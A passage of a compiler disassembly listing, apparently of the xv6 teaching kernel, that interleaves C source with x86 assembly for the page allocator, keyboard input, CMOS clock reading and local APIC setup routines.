enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022ca: 8d 5a 20 lea 0x20(%edx),%ebx 801022cd: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx ioapic->reg = reg; 801022d1: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022d7: c1 e0 18 shl $0x18,%eax ioapic->reg = reg; 801022da: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022dc: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022e2: 83 c1 01 add $0x1,%ecx ioapic->data = data; 801022e5: 89 5a 10 mov %ebx,0x10(%edx) ioapic->reg = reg; 801022e8: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022ea: 8b 15 34 26 11 80 mov 0x80112634,%edx 801022f0: 89 42 10 mov %eax,0x10(%edx) } 801022f3: 5b pop %ebx 801022f4: 5d pop %ebp 801022f5: c3 ret 801022f6: 66 90 xchg %ax,%ax 801022f8: 66 90 xchg %ax,%ax 801022fa: 66 90 xchg %ax,%ax 801022fc: 66 90 xchg %ax,%ax 801022fe: 66 90 xchg %ax,%ax 80102300 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102300: 55 push %ebp 80102301: 89 e5 mov %esp,%ebp 80102303: 53 push %ebx 80102304: 83 ec 14 sub $0x14,%esp 80102307: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010230a: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102310: 75 7c jne 8010238e <kfree+0x8e> 80102312: 81 fb f4 57 11 80 cmp $0x801157f4,%ebx 80102318: 72 74 jb 8010238e <kfree+0x8e> 8010231a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102320: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102325: 77 67 ja 8010238e <kfree+0x8e> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102327: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010232e: 00 8010232f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102336: 00 80102337: 89 1c 24 mov %ebx,(%esp) 8010233a: e8 51 1f 00 00 call 80104290 <memset> if(kmem.use_lock) 8010233f: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102345: 85 d2 test %edx,%edx 80102347: 75 37 jne 80102380 <kfree+0x80> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102349: a1 78 26 11 80 mov 0x80112678,%eax 8010234e: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 80102350: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102355: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 8010235b: 85 c0 test %eax,%eax 8010235d: 75 09 jne 80102368 <kfree+0x68> release(&kmem.lock); } 8010235f: 83 c4 14 add $0x14,%esp 80102362: 5b pop %ebx 80102363: 5d pop %ebp 80102364: c3 ret 80102365: 8d 76 00 lea 0x0(%esi),%esi release(&kmem.lock); 80102368: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 8010236f: 83 c4 14 add $0x14,%esp 80102372: 5b pop %ebx 80102373: 5d pop %ebp release(&kmem.lock); 80102374: e9 c7 1e 00 00 jmp 80104240 <release> 80102379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&kmem.lock); 80102380: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 80102387: e8 c4 1d 00 00 call 80104150 <acquire> 8010238c: eb bb jmp 80102349 <kfree+0x49> panic("kfree"); 8010238e: c7 04 24 06 71 10 80 movl $0x80107106,(%esp) 80102395: e8 c6 df ff ff call 80100360 <panic> 8010239a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801023a0 <freerange>: { 801023a0: 55 push %ebp 801023a1: 89 e5 mov %esp,%ebp 801023a3: 56 push %esi 801023a4: 53 push %ebx 801023a5: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 801023a8: 8b 45 08 mov 0x8(%ebp),%eax { 801023ab: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 801023ae: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 801023b4: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023ba: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 801023c0: 39 de cmp %ebx,%esi 801023c2: 73 08 jae 801023cc <freerange+0x2c> 801023c4: eb 18 jmp 801023de <freerange+0x3e> 801023c6: 66 90 xchg %ax,%ax 801023c8: 89 da mov %ebx,%edx 801023ca: 89 c3 mov %eax,%ebx kfree(p); 801023cc: 89 14 24 mov %edx,(%esp) 801023cf: e8 2c ff ff ff call 80102300 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023d4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 801023da: 39 f0 cmp %esi,%eax 801023dc: 76 ea jbe 801023c8 <freerange+0x28> } 801023de: 83 c4 10 add $0x10,%esp 801023e1: 5b pop %ebx 801023e2: 5e pop %esi 801023e3: 5d pop %ebp 801023e4: c3 ret 801023e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801023f0 <kinit1>: { 801023f0: 55 push %ebp 801023f1: 89 e5 mov %esp,%ebp 801023f3: 56 push %esi 801023f4: 53 push %ebx 801023f5: 83 ec 10 sub $0x10,%esp 801023f8: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023fb: c7 44 24 04 0c 71 10 movl $0x8010710c,0x4(%esp) 80102402: 80 80102403: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 8010240a: e8 51 1c 00 00 call 80104060 <initlock> p = (char*)PGROUNDUP((uint)vstart); 8010240f: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 0; 80102412: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102419: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010241c: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102422: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102428: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 8010242e: 39 de cmp %ebx,%esi 80102430: 73 0a jae 8010243c <kinit1+0x4c> 80102432: eb 1a jmp 8010244e <kinit1+0x5e> 80102434: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102438: 89 da mov %ebx,%edx 8010243a: 89 c3 mov %eax,%ebx kfree(p); 8010243c: 89 14 24 mov %edx,(%esp) 8010243f: e8 bc fe ff ff call 80102300 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102444: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010244a: 39 c6 cmp %eax,%esi 8010244c: 73 ea jae 80102438 <kinit1+0x48> } 8010244e: 83 c4 10 add $0x10,%esp 80102451: 5b pop %ebx 80102452: 5e pop %esi 80102453: 5d pop %ebp 80102454: c3 ret 80102455: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102460 <kinit2>: { 80102460: 55 push %ebp 80102461: 89 e5 mov %esp,%ebp 80102463: 56 push %esi 80102464: 53 push %ebx 80102465: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102468: 8b 45 08 mov 0x8(%ebp),%eax { 8010246b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010246e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102474: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010247a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102480: 39 de cmp %ebx,%esi 80102482: 73 08 jae 8010248c <kinit2+0x2c> 80102484: eb 18 jmp 8010249e <kinit2+0x3e> 80102486: 66 90 xchg %ax,%ax 80102488: 89 da mov %ebx,%edx 8010248a: 89 c3 mov %eax,%ebx kfree(p); 8010248c: 89 14 24 mov %edx,(%esp) 8010248f: e8 6c fe ff ff call 80102300 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102494: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010249a: 39 c6 cmp %eax,%esi 8010249c: 73 ea jae 80102488 <kinit2+0x28> kmem.use_lock = 1; 8010249e: c7 05 74 26 11 80 01 movl $0x1,0x80112674 801024a5: 00 00 00 } 801024a8: 83 c4 10 add $0x10,%esp 801024ab: 5b pop %ebx 801024ac: 5e pop %esi 801024ad: 5d pop %ebp 801024ae: c3 ret 801024af: 90 nop 801024b0 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 801024b0: 55 push %ebp 801024b1: 89 e5 mov %esp,%ebp 801024b3: 53 push %ebx 801024b4: 83 ec 14 sub $0x14,%esp struct run *r; if(kmem.use_lock) 801024b7: a1 74 26 11 80 mov 0x80112674,%eax 801024bc: 85 c0 test %eax,%eax 801024be: 75 30 jne 801024f0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 801024c0: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 801024c6: 85 db test %ebx,%ebx 801024c8: 74 08 je 801024d2 <kalloc+0x22> kmem.freelist = r->next; 801024ca: 8b 13 mov (%ebx),%edx 801024cc: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024d2: 85 c0 test %eax,%eax 801024d4: 74 0c je 801024e2 <kalloc+0x32> release(&kmem.lock); 801024d6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024dd: e8 5e 1d 00 00 call 80104240 <release> return (char*)r; } 801024e2: 83 c4 14 add $0x14,%esp 801024e5: 89 d8 mov %ebx,%eax 801024e7: 5b pop %ebx 801024e8: 5d pop %ebp 801024e9: c3 ret 801024ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&kmem.lock); 801024f0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024f7: e8 54 1c 00 00 call 80104150 <acquire> 801024fc: a1 74 26 11 80 mov 0x80112674,%eax 80102501: eb bd jmp 801024c0 <kalloc+0x10> 80102503: 66 90 xchg %ax,%ax 80102505: 66 90 xchg %ax,%ax 80102507: 66 90 xchg %ax,%ax 80102509: 66 90 xchg %ax,%ax 8010250b: 66 90 xchg %ax,%ax 8010250d: 66 90 xchg %ax,%ax 8010250f: 90 nop 80102510 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102510: ba 64 00 00 00 mov $0x64,%edx 80102515: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102516: a8 01 test $0x1,%al 80102518: 0f 84 ba 00 00 00 je 801025d8 <kbdgetc+0xc8> 8010251e: b2 60 mov $0x60,%dl 80102520: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102521: 0f b6 c8 movzbl %al,%ecx if(data == 0xE0){ 80102524: 81 f9 e0 00 00 00 cmp $0xe0,%ecx 8010252a: 0f 84 88 00 00 00 je 801025b8 <kbdgetc+0xa8> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102530: 84 c0 test %al,%al 80102532: 79 2c jns 80102560 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102534: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx 8010253a: f6 c2 40 test $0x40,%dl 8010253d: 75 05 jne 80102544 <kbdgetc+0x34> 8010253f: 89 c1 mov %eax,%ecx 80102541: 83 e1 7f and $0x7f,%ecx shift &= ~(shiftcode[data] | E0ESC); 80102544: 0f b6 81 40 72 10 80 movzbl -0x7fef8dc0(%ecx),%eax 8010254b: 83 c8 40 or $0x40,%eax 8010254e: 0f b6 c0 movzbl %al,%eax 80102551: f7 d0 not %eax 80102553: 21 d0 and %edx,%eax 80102555: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010255a: 31 c0 xor %eax,%eax 8010255c: c3 ret 8010255d: 8d 76 00 lea 0x0(%esi),%esi { 80102560: 55 push %ebp 80102561: 89 e5 mov %esp,%ebp 80102563: 53 push %ebx 80102564: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx } else if(shift & E0ESC){ 8010256a: f6 c3 40 test $0x40,%bl 8010256d: 74 09 je 80102578 <kbdgetc+0x68> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010256f: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102572: 83 e3 bf and $0xffffffbf,%ebx data |= 0x80; 80102575: 0f b6 c8 movzbl %al,%ecx } shift |= shiftcode[data]; 80102578: 0f b6 91 40 72 10 80 movzbl -0x7fef8dc0(%ecx),%edx shift ^= togglecode[data]; 8010257f: 0f b6 81 40 71 10 80 movzbl -0x7fef8ec0(%ecx),%eax shift |= shiftcode[data]; 80102586: 09 da or %ebx,%edx shift ^= togglecode[data]; 80102588: 31 c2 xor %eax,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010258a: 89 d0 mov %edx,%eax 8010258c: 83 e0 03 and $0x3,%eax 8010258f: 8b 04 85 20 71 10 80 mov -0x7fef8ee0(,%eax,4),%eax shift ^= togglecode[data]; 80102596: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4 if(shift & CAPSLOCK){ 8010259c: 83 e2 08 and $0x8,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010259f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax if(shift & CAPSLOCK){ 801025a3: 74 0b je 801025b0 <kbdgetc+0xa0> if('a' <= c && c <= 'z') 801025a5: 8d 50 9f lea -0x61(%eax),%edx 801025a8: 83 fa 19 cmp $0x19,%edx 801025ab: 77 1b ja 801025c8 <kbdgetc+0xb8> c += 'A' - 'a'; 801025ad: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025b0: 5b pop %ebx 801025b1: 5d pop %ebp 801025b2: c3 ret 801025b3: 90 nop 801025b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 801025b8: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 return 0; 801025bf: 31 c0 xor %eax,%eax 801025c1: c3 ret 801025c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi else if('A' <= c && c <= 'Z') 801025c8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025cb: 8d 50 20 lea 0x20(%eax),%edx 801025ce: 83 f9 19 cmp $0x19,%ecx 801025d1: 0f 46 c2 cmovbe %edx,%eax return c; 801025d4: eb da jmp 801025b0 <kbdgetc+0xa0> 801025d6: 66 90 xchg %ax,%ax return -1; 801025d8: b8 ff ff ff ff mov $0xffffffff,%eax 801025dd: c3 ret 801025de: 66 90 xchg %ax,%ax 801025e0 <kbdintr>: void kbdintr(void) { 801025e0: 55 push %ebp 801025e1: 89 e5 mov %esp,%ebp 801025e3: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801025e6: c7 04 24 10 25 10 80 movl $0x80102510,(%esp) 801025ed: e8 be e1 ff ff call 801007b0 <consoleintr> } 801025f2: c9 leave 801025f3: c3 ret 801025f4: 66 90 xchg %ax,%ax 801025f6: 66 90 xchg %ax,%ax 801025f8: 66 90 xchg %ax,%ax 801025fa: 66 90 xchg %ax,%ax 801025fc: 66 90 xchg %ax,%ax 801025fe: 66 90 xchg %ax,%ax 80102600 <fill_rtcdate>: return inb(CMOS_RETURN); } static void fill_rtcdate(struct rtcdate *r) { 80102600: 55 push %ebp 80102601: 89 c1 mov %eax,%ecx 80102603: 89 e5 mov %esp,%ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102605: ba 70 00 00 00 mov $0x70,%edx 8010260a: 53 push %ebx 8010260b: 31 c0 xor %eax,%eax 8010260d: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010260e: bb 71 00 00 00 mov $0x71,%ebx 80102613: 89 da mov %ebx,%edx 80102615: ec in (%dx),%al return inb(CMOS_RETURN); 80102616: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102619: b2 70 mov $0x70,%dl 8010261b: 89 01 mov %eax,(%ecx) 8010261d: b8 02 00 00 00 mov $0x2,%eax 80102622: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102623: 89 da mov %ebx,%edx 80102625: ec in (%dx),%al 80102626: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102629: b2 70 mov $0x70,%dl 8010262b: 89 41 04 mov %eax,0x4(%ecx) 8010262e: b8 04 00 00 00 mov $0x4,%eax 80102633: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102634: 89 da mov %ebx,%edx 80102636: ec in (%dx),%al 80102637: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010263a: b2 70 mov $0x70,%dl 8010263c: 89 41 08 mov %eax,0x8(%ecx) 8010263f: b8 07 00 00 00 mov $0x7,%eax 80102644: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102645: 89 da mov %ebx,%edx 80102647: ec in (%dx),%al 80102648: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010264b: b2 70 mov $0x70,%dl 8010264d: 89 41 0c mov %eax,0xc(%ecx) 80102650: b8 08 00 00 00 mov $0x8,%eax 80102655: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102656: 89 da mov %ebx,%edx 80102658: ec in (%dx),%al 80102659: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010265c: b2 70 mov $0x70,%dl 8010265e: 89 41 10 mov %eax,0x10(%ecx) 80102661: b8 09 00 00 00 mov $0x9,%eax 80102666: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102667: 89 da mov %ebx,%edx 80102669: ec in (%dx),%al 8010266a: 0f b6 d8 movzbl %al,%ebx 8010266d: 89 59 14 mov %ebx,0x14(%ecx) r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); } 80102670: 5b pop %ebx 80102671: 5d pop %ebp 80102672: c3 ret 80102673: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102679: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102680 <lapicinit>: if(!lapic) 80102680: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102685: 55 push %ebp 80102686: 89 e5 mov %esp,%ebp if(!lapic) 80102688: 85 c0 test %eax,%eax 8010268a: 0f 84 c0 00 00 00 je 80102750 <lapicinit+0xd0> lapic[index] = value; 80102690: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102697: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010269a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010269d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 801026a4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026a7: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026aa: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 801026b1: 00 02 00 lapic[ID]; // wait for write to finish, by reading 801026b4: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b7: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 801026be: 96 98 00 lapic[ID]; // wait for write to finish, by reading 801026c1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 801026cb: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026ce: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026d1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801026d8: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026db: 8b 50 20 mov 0x20(%eax),%edx if(((lapic[VER]>>16) & 0xFF) >= 4) 801026de: 8b 50 30 mov 0x30(%eax),%edx 801026e1: c1 ea 10 shr $0x10,%edx 801026e4: 80 fa 03 cmp $0x3,%dl 801026e7: 77 6f ja 80102758 <lapicinit+0xd8> lapic[index] = value; 801026e9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026f0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026f3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026f6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026fd: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102700: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102703: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010270a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010270d: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102710: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102717: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010271a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010271d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102724: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102727: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010272a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102731: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102734: 8b 50 20 mov 0x20(%eax),%edx 80102737: 90 nop while(lapic[ICRLO] & DELIVS) 80102738: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 8010273e: 80 e6 10 and $0x10,%dh 80102741: 75 f5 jne 80102738 <lapicinit+0xb8> lapic[index] = value; 80102743: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 8010274a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010274d: 8b 40 20 mov 0x20(%eax),%eax } 80102750: 5d pop %ebp 80102751: c3 ret 80102752: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102758: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 8010275f: 00 01 00 lapic[ID]; // wait for write to finish, by reading 80102762: 8b 50 20 mov 0x20(%eax),%edx 80102765: eb 82 jmp 801026e9 <lapicinit+0x69> 80102767: 89 f6 mov %esi,%esi 80102769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102770 <lapicid>: if (!lapic) 80102770: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102775: 55 push %ebp 80102776: 89 e5 mov %esp,%ebp if (!lapic) 80102778: 85 c0 test %eax,%eax 8010277a: 74 0c je 80102788 <lapicid+0x18> return lapic[ID] >> 24; 8010277c: 8b 40 20 mov 0x20(%eax),%eax } 8010277f: 5d pop %ebp return lapic[ID] >> 24; 80102780: c1 e8 18 shr $0x18,%eax } 80102783: c3 ret 80102784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80102788: 31 c0 xor %eax,%eax } 8010278a: 5d pop %ebp 8010278b: c3 ret 8010278c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102790 <lapiceoi>: if(lapic) 80102790: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102795: 55 push %ebp 80102796: 89 e5 mov %esp,%ebp if(lapic) 80102798: 85 c0 test %eax,%eax 8010279a: 74 0d je 801027a9 <lapiceoi+0x19> lapic[index] = value; 8010279c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801027a3: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801027a6: 8b 40 20 mov 0x20(%eax),%eax } 801027a9: 5d pop %ebp 801027aa: c3 ret 801027ab: 90 nop 801027ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027b0 <microdelay>: { 801027b0: 55 push %ebp 801027b1: 89 e5 mov %esp,%ebp } 801027b3: 5d pop %ebp 801027b4: c3 ret 801027b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801027c0 <lapicstartap>: { 801027c0: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027c1: ba 70 00 00 00 mov $0x70,%edx 801027c6: 89 e5 mov %esp,%ebp 801027c8: b8 0f 00 00 00 mov $0xf,%eax 801027cd: 53 push %ebx 801027ce: 8b 4d 08 mov 0x8(%ebp),%ecx 801027d1: 8b 5d 0c mov 0xc(%ebp),%ebx 801027d4: ee out %al,(%dx) 801027d5: b8 0a 00 00 00 mov $0xa,%eax 801027da: b2 71 mov $0x71,%dl 801027dc: ee out %al,(%dx) wrv[0] = 0; 801027dd: 31 c0 xor %eax,%eax 801027df: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027e5: 89 d8 mov %ebx,%eax 801027e7: c1 e8 04 shr $0x4,%eax 801027ea: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027f0: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(ICRHI, apicid<<24); 801027f5: c1 e1 18 shl $0x18,%ecx lapicw(ICRLO, STARTUP | (addr>>12)); 801027f8: c1 eb 0c shr $0xc,%ebx lapic[index] = value; 801027fb: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102801: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102804: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 8010280b: c5 00 00 lapic[ID]; // wait for write to finish, by reading 8010280e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102811: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 80102818: 85 00 00 lapic[ID]; // wait for write to finish, by reading 8010281b: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010281e: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102824: 8b 50 20 mov 0x20(%eax),%edx lapicw(ICRLO, STARTUP | (addr>>12)); 80102827: 89 da mov %ebx,%edx 80102829: 80 ce 06 or $0x6,%dh lapic[index] = value; 8010282c: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102832: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 80102835: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010283b: 8b 48 20 mov 0x20(%eax),%ecx lapic[index] = value; 8010283e: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102844: 8b 40 20 mov 0x20(%eax),%eax } 80102847: 5b pop %ebx 80102848: 5d pop %ebp 80102849: c3 ret 8010284a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102850 <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102850: 55 push %ebp 80102851: ba 70 00 00 00 mov $0x70,%edx 80102856: 89 e5 mov %esp,%ebp 80102858: b8 0b 00 00 00 mov $0xb,%eax 8010285d: 57 push %edi 8010285e: 56 push %esi 8010285f: 53 push %ebx 80102860: 83 ec 4c sub $0x4c,%esp 80102863: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102864: b2 71 mov $0x71,%dl 80102866: ec in (%dx),%al 80102867: 88 45 b7 mov %al,-0x49(%ebp) 8010286a: 8d 5d b8 lea -0x48(%ebp),%ebx struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 8010286d: 80 65 b7 04 andb $0x4,-0x49(%ebp) 80102871: 8d 7d d0 lea -0x30(%ebp),%edi 80102874: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102878: be 70 00 00 00 mov $0x70,%esi // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); 8010287d: 89 d8 mov %ebx,%eax 8010287f: e8 7c fd ff ff call 80102600 <fill_rtcdate> 80102884: b8 0a 00 00 00 mov $0xa,%eax 80102889: 89 f2 mov %esi,%edx 8010288b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010288c: ba 71 00 00 00 mov $0x71,%edx 80102891: ec in (%dx),%al if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102892: 84 c0 test %al,%al 80102894: 78 e7 js 8010287d <cmostime+0x2d> continue; fill_rtcdate(&t2); 80102896: 89 f8 mov %edi,%eax 80102898: e8 63 fd ff ff call 80102600 <fill_rtcdate> if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010289d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 801028a4: 00 801028a5: 89 7c 